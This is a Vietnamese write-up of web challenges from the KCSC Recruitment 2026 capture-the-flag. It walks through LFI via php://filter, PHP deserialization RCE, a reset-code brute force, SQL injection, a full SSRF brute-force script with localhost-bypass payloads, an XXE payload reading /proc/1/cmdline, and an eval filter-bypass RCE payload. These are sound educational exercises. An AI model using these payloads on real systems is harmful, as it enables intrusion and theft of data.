---
# System prepended metadata

title: Writeup

---

# KCSC Recruitment 2026
## Santa's Shop
Khi vào chall em tạo 1 tài khoản để login vào web
Đăng nhập vào web thì em thấy có 100 coin và 4 phần quà trong đó số coin có thể mua được 3 phần quà và 1 phần quà có giá rất cao nên em đang nghĩ tới khả năng là race conditions
Nhưng sau khi kiểm tra source thì em phát hiện flag luôn
![Screenshot 2025-12-14 110453](https://hackmd.io/_uploads/S1idv3ozZg.png)
FLAG: `KCSC{m3rry_chr1stm4s_4nd_h4ppy_h4ck1ng}`

## Santa's Shop Revenge
Tương tự như bài trên em kiểm tra source nhưng có vẻ tác giả đã ẩn và không thể xem khi chưa mua được phần quà đó
Nhấn mua thử thì được phản hồi sau
![image](https://hackmd.io/_uploads/rJK-SWnG-g.png)
Nhưng khi bấm vào chức năng nạp thì lại bị lỗi nên chỉ còn admin update. Bấm vào chức năng admin dashboard thì hiện ra thông báo coin được cập nhật từ localhost.
Tới đây đọc lại source 1 lần nữa phát hiện ra 1 lỗ hổng ở `file.php`
![Screenshot 2025-12-14 162258](https://hackmd.io/_uploads/SJfbGW3zZl.png)
Sau khi truy cập thử url `/file.php?image=php://filter/convert.base64-encode/resource=admin.php` em được 1 đoạn code đã bị mã hóa.
Mã hóa xong có được mã nguồn của `admin.php`
![image](https://hackmd.io/_uploads/BkhAXW2zbl.png)
Ở đây thấy được là để có thể cập nhật coin thì phải truy cập từ localhost và secret phải trùng với secret từ `secret.txt`. Thông qua lỗ hổng LFI ở trên để truy cập vào file `secret.txt`
![image](https://hackmd.io/_uploads/r1bi_bnMWg.png)
Khi có được secret tiến hành cập nhật coin
![image](https://hackmd.io/_uploads/ry9ZjZ2G-e.png)
Cập nhật coin xong có thể mua `Mystery Gift Box` lấy flag
![Screenshot 2025-12-14 112557](https://hackmd.io/_uploads/rkH0h3izbe.png)
FLAG: `KCSC{do_you_have_the_ctrl_u_key_to_get_flags_UwU}`

## Bảy Viên Bi Rồng
Tại file `config.php` hàm `unserialize()` được gọi trực tiếp từ cookie nên có thể chèn 1 chuỗi object đã được serialize vào
![Screenshot 2025-12-14 214001](https://hackmd.io/_uploads/BJ4laHnMbe.png)
Ở `Shenron.php` có method `__destruct()` tự động chạy khi object bị hủy và nếu đáp ứng điều kiện thì sẽ kích hoạt được hàm `grant()` thuộc `Wish.php`
![Screenshot 2025-12-14 214922](https://hackmd.io/_uploads/B1L11IhGWe.png)
Tại hàm `grant()` khi kiểm soát được `$callback="system"` và `$content=cat /flag.txt` thì có thể lấy được flag
![image](https://hackmd.io/_uploads/SJ4w1UhfWl.png)
Khai thác:
Intercept điểm danh hằng ngày nhận được 1 đoạn cookie `dragonball`
![image](https://hackmd.io/_uploads/rkvo88nMbe.png)
Decode đoạn mã trên được serialized object của `user`
![image](https://hackmd.io/_uploads/ByZsSI3zWl.png)
Thêm object Shenron và gán thêm giá trị cho `$callback`, `$content` và `dragon_ball`=7 để có thể gọi Shenron cho đoạn decode trên để nó biến thành serialized object của `Shenron`
![image](https://hackmd.io/_uploads/rJUGd8hGWx.png)
Gửi lại Request với cookie em nhận được flag
![image](https://hackmd.io/_uploads/SkD4OU3zZx.png)
FLAG: `KCSC{Sh3nR0n_S4ys_y0Ur_w1sh_f0R_rc3_1s_Gr4Nt3d_M4sT3r!!}`

## Hoshino Portal
Đọc file `resetPassword.js` thấy kiểm tra sự tồn tại của username và email nhưng không kiểm tra email có thuộc về username đó không
![Screenshot 2025-12-14 182812](https://hackmd.io/_uploads/SJui4m3MZx.png)
=> có thể gửi username: admin và email tồn tại trong hệ thống
Tiếp theo độ mạnh của resetCode dựa vào email
![image](https://hackmd.io/_uploads/SJ8hS7nMbe.png)
=>sử dụng email không chứa từ khóa 'admin' sẽ sinh ra 1 mã reset yếu có thể brute-force
Khi resetCode xác thực thành công sẽ cập nhật mật khẩu cho username
![image](https://hackmd.io/_uploads/B12j8Qnf-e.png)
=> có thể cập nhật mật khẩu cho `username: admin` thay vì `username` của `email`
Khai thác:
Đăng kí 1 tài khoản có `email` không chứa từ khóa 'admin'
![image](https://hackmd.io/_uploads/r1w1uXhfbe.png)
Sau đó gửi yêu cầu `resetpassword` và chặn lại do lúc này chưa có `resetCode` và sửa `username: admin` rồi brute-force để tìm `resetCode`
![Screenshot 2025-12-13 215616](https://hackmd.io/_uploads/H14sMBhMZx.png)
Sau khi đổi thành công mật khẩu đăng nhập và lấy được flag
![Screenshot 2025-12-13 215730](https://hackmd.io/_uploads/BJ47V4hGWe.png)
FLAG: `KCSC{Pr4ct1c3_M4k3s_P3rf3ct!_2a561747db90855b98ddeed0775fe64c}`

## SECURE STORE
Kiểm tra `seed.js` em thấy được ở đây có database chứa code là flag giả tương ứng với discount: 100
![Screenshot 2025-12-14 142510](https://hackmd.io/_uploads/BymMvJ2zbg.png)
Ở `guard.js` sau khi kiểm tra em phát hiện lỗ hổng SQLi nằm ở hàm `checkVoucher`
![Screenshot 2025-12-14 141741](https://hackmd.io/_uploads/HymABehzbl.png)
Ban đầu cách khai thác em nghĩ tới là dùng kiểm tra dò từng kí tự 1 trong flag
![Screenshot 2025-12-13 102532](https://hackmd.io/_uploads/r1qIpJ3G-e.png)
Nhưng hàm checkVoucher có cơ chế lọc code.length không quá 18 từ nên cách này đã không dùng được. Sau 1 hồi mày mò thì biết được là tham số gửi dưới dạng mảng trên Node.js sẽ chỉ tính độ dài là 1 nên có thể dùng 1 payload > 18
Nhìn vào database ở `seed.js` em nghĩ nó có 2 cột nhưng khi test thì bị lỗi nên đã nâng lên 3 cột và thành công
![image](https://hackmd.io/_uploads/BkFFlz2MZx.png)
Ở response trả về sẽ là cột 3(discount) nên payload em để code ở cột thứ khi trả về ta sẽ được flag
![image](https://hackmd.io/_uploads/rJyBWMnfbe.png)
Khi trả về không được flag như mong đợi mà là code của voucher[0]. Sau đó em đã thêm `ORDER BY discount DESC--` để đẩy flag lên đầu
![image](https://hackmd.io/_uploads/HJySzfnzZx.png)
FLAG: `KCSC{32b7d40c7b18a39bd47d249ef1}`

## Simple Web
Vào chall em thử đăng kí tài khoản có user là admin nhưng hiện thông báo lỗi
Khi có hint em tạo lại 1 tài khoản `user: ａｄｍｉｎ`
Sau khi tạo xong đăng nhập bằng `user: admin` thì được chuyển hướng tới trang của admin
![image](https://hackmd.io/_uploads/rke-qK3zbx.png)
Nhìn vào giao diện em nghĩ ở đây có lỗ hổng SSRF
Sau khi mày mò 7749 payload vẫn không được flag em nhờ AI viết được script sau
```
import requests
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "http://67.223.119.69:5021/admin"
cookie = "session=.eJyrVsosdkzJzcxTsiopKk3VUcrJT0dwSotTi_ISc1OVrJQSwYpqAZ5EENY.aT2LtA.EsI008tEfekIE-qMJUcXG9AvZqI" 

HEADERS = {
    "Cookie": cookie,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded"
}

payloads = [
    "http://127.0.0.1:80", "http://127.0.0.1:443", "http://127.0.0.1:22",
    "http://0.0.0.0:80", "http://0.0.0.0:443", "http://0.0.0.0:22",
    "https://127.0.0.1", "https://localhost",
    "http://[::]:80", "http://[::]:25", "http://[::]:22",
    "http://127.1", "http://0000::1:80", "http://2130706433",
    "http://whitelisted@127.0.0.1", "http://0x7f000001",
    "http://017700000001", "http://0177.00.00.01",
    "http://⑯⑨。②⑤④。⑯⑨｡②⑤④",
    "http://⓪ⓧⓐ⑨｡⓪ⓧⓕⓔ｡⓪ⓧⓐ⑨｡⓪ⓧⓕⓔ:80",
    "http://⓪ⓧⓐ⑨ⓕⓔⓐ⑨ⓕⓔ:80", "http://②⑧⑤②⓪③⑨①⑥⑥:80",
    "http://④②⑤｡⑤①⓪｡④②⑤｡⑤①⓪:80",
    "http://⓪②⑤①。⓪③⑦⑥。⓪②⑤①。⓪③⑦⑥:80",
    "http://0xd8.0x3a.0xd6.0xe3", "http://0xd83ad6e3",
    "http://0xd8.0x3ad6e3", "http://0xd8.0x3a.0xd6e3",
    "http://0330.072.0326.0343", "http://000330.0000072.0000326.00000343",
    "http://033016553343", "http://3627734755",
    "http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37",
    "http://216.0x3a.00000000326.0xe3",
    "http://localtest.me", "http://newyork.localtest.me",
    "http://mysite.localtest.me", "http://redirecttest.localtest.me",
    "http://sub1.sub2.sub3.localtest.me",
    "http://bugbounty.dod.network", "http://spoofed.burpcollaborator.net",
    "http://0x7f.0x0.0x0.0x1", "http://0177.0.0.01"
]

suffixes = ["/flag", "/flag#", "/flag#test", "/flag?"]

print("Đang chạy: ")

for base in payloads:
    base = base.rstrip("/")
    
    for suffix in suffixes:
        full_payload = base + suffix
        
        try:
            response = requests.post(
                url, 
                headers=HEADERS, 
                data={"url": full_payload}, 
                timeout=3,
                verify=False
            )
            
            content = response.text

            if "KCSC{" in content:
                print(f"TÌM THẤY CỜ VỚI: {full_payload}")
                
                start = content.find("KCSC{")
                end = content.find("}", start) + 1
                flag = content[start:end]
                
                print(f"FLAG: {flag}")
                sys.exit()

        except Exception:
            continue

print("\n[-] Đã thử tất cả payload nhưng KHÔNG tìm thấy cờ.")
```
Sau khi chạy đoạn script trên em thu được flag
![image](https://hackmd.io/_uploads/ryuGht2MZx.png)
FLAG: `KCSC{Y0u_kn0w_uRl_Globbing}`
## Ka Cê Ét Cê
Phân tích:
Tại `JWT.php` có `$secret='REDACTED'`
![image](https://hackmd.io/_uploads/S1FjIPnMZx.png)
Trong `Dockerfile` có `ADMIN_PASSWORD='REDACTED'`
![image](https://hackmd.io/_uploads/rkO4uPhzWx.png)
=> key để ký JWT là 'REDACTED'
Ở hàm `validateToken` không kết nối tới database để kiểm tra nhật khẩu
![image](https://hackmd.io/_uploads/Bkxlqv2G-x.png)
=>Có thể tạo `token` của user `admin` mà không cần mật khẩu
Tại `KCSC.php` hàm `update_members()` xử lý dữ liệu XML đầu vào từ người dùng để cập nhật thông tin thành viên 
![image](https://hackmd.io/_uploads/rJHB2whfWl.png)
Nhưng trong hàm `loadXML()` có `LIBXML_DTDLOAD` và `LIBXML_NOENT`
`LIBXML_DTDLOAD` cho phép ứng dụng tải và xử lý các DTD từ bên ngoài
`LIBXML_NOENT` yêu cầu parser thay thế các entities bằng giá trị định nghĩa của chúng
=>có thể định nghĩa một external entity trỏ đến một tệp tin trên hệ thống và tham chiếu entity đó trong thẻ <admin>,`LIBXML_NOENT` khiến parser đọc nội dung tệp tin và thay thế vào vị trí tham chiếu
Khai thác:
Tại `Dockerfile` có thể thấy được file flag đã bị đổi tên thành 1 chuỗi ngẫu nhiên vì vậy cần tìm tên file để có thể đọc file flag này
![image](https://hackmd.io/_uploads/BkElWO2zbe.png)
Tạo JWT token với `role: admin` và `secretKey='REDACTED'` để bypass qua hàm `isAdmin()`
![image](https://hackmd.io/_uploads/S1eThPhMWl.png)
Lệnh mv để đổi tên file flag ngay trong câu lệnh khởi chạy CMD nên file `/proc/1/cmdline` sẽ chứa nguyên văn chuỗi: `sh -c mv /flag.txt /flag_....txt ...` vì vậy cần truy cập vào đường dẫn này để có thể đọc được tên file
File `/proc/1/cmdline` chứa câu lệnh khởi chạy process. Tham số trong file được ngăn cách nhau bởi ký tự null byte. Mà XML thường coi null byte là dấu hiệu kết thúc chuỗi hoặc là ký tự không hợp lệ trong văn bản XML
Vì vậy không thể đọc trực tiếp `file:///proc/1/cmdline` mà phải sử dụng PHP Wrapper `php://filter/read=convert.base64-encode`
Em tạo body Json sau
```
{
    "xml_content": "<!DOCTYPE root [<!ENTITY xxe SYSTEM \"php://filter/read=convert.base64-encode/resource=/proc/1/cmdline\">]><kcsc><admin>&xxe;</admin></kcsc>"
}
```
Sau khi có cookie và body Json em tiến hành gửi request và nhận được phản hồi là 1 đoạn mã hóa
![image](https://hackmd.io/_uploads/H1SeNdhGWx.png)
Decode đoạn mã em được tên file flag
![image](https://hackmd.io/_uploads/rkrsSthMWx.png)
Thay tên file flag vào `/proc/1/cmdline` và gửi lại request em nhận được phản hồi lại là 1 đoạn mã hóa
![image](https://hackmd.io/_uploads/HJMBLKhM-x.png)
Sau khi giải mã đoạn mã trên em nhận được flag
![Screenshot 2025-12-15 013348](https://hackmd.io/_uploads/r1JKIYnzbl.png)
FLAG: `KCSC{0hh_w40000_chuc_mun9_b4n_d4_7r0_7h4nh_m07_7h4nh_v13n_cu4_kc5c_nh0000}`
    
## SECURE SHARE
Phân tích:
Tại file `index.php` biến `$_tpl` được khởi tạo bằng cú pháp HEREDOC cho phép chèn trực tiếp các biến vào chuỗi
![Screenshot 2025-12-17 221710](https://hackmd.io/_uploads/r1C7gql7Wg.png)
Biến `$_SERVER['QUERY_STRING']` được chèn trực tiếp vào `$_tpl` mà không qua xử lý an toàn.
![Screenshot 2025-12-17 221850](https://hackmd.io/_uploads/r1U4l9xX-l.png)
=> cho phép chèn các thẻ template tùy chỉnh vào biến `$_tpl`
Tại `Dockerfile` file `/readflag` được set quyền SUID root và file `/flag.txt` chỉ root mới đọc được
![image](https://hackmd.io/_uploads/SkMud4bX-e.png)
=> Phải thực thi RCE để chạy `/readflag`
Tại hàm `parse_logic_gates` em thấy nó xử lý các thẻ có dạng `{sys:gate(...)}`
![image](https://hackmd.io/_uploads/H1ZKXV-XZl.png)
Hàm `eval()` em phát hiện lỗ hổng RCE. Nhưng để khai thác cần vượt qua 3 điều kiện trên nó:
* regex không được sử dụng `$`
* whitelist chỉ được sử dụng hàm `date` và `sys_pref_region`
* blacklist chặn các từ khóa như `system`, `exec`, các ký tự `.`,`\` và cú pháp gọi hàm liên tiếp `(\)\s*\()`

Khai thác:
Do `system` đã bị chặn nên em thay thế bằng hàm `sys_pref_region` do nó nằm trong whilelist. Hàm này sẽ trả về giá trị của region do đó em thêm `&region=system` vào cuối url để được trả về chuỗi `system`
Blacklist đã chặn `(\)\s*\()` em sẽ thay thế nó bằng `/**/`
Sau khi hoàn tất em có được payload sau:
```
{sys:gate((sys_pref_region())/**/('/readflag'))}&region=system
```
Gửi request em nhận được flag:
![image](https://hackmd.io/_uploads/Syme-HZXZl.png)
FLAG: `KCSC{m0t_lan_nua_ban_da_lam_duoc_g00d_j0bbb!!!}`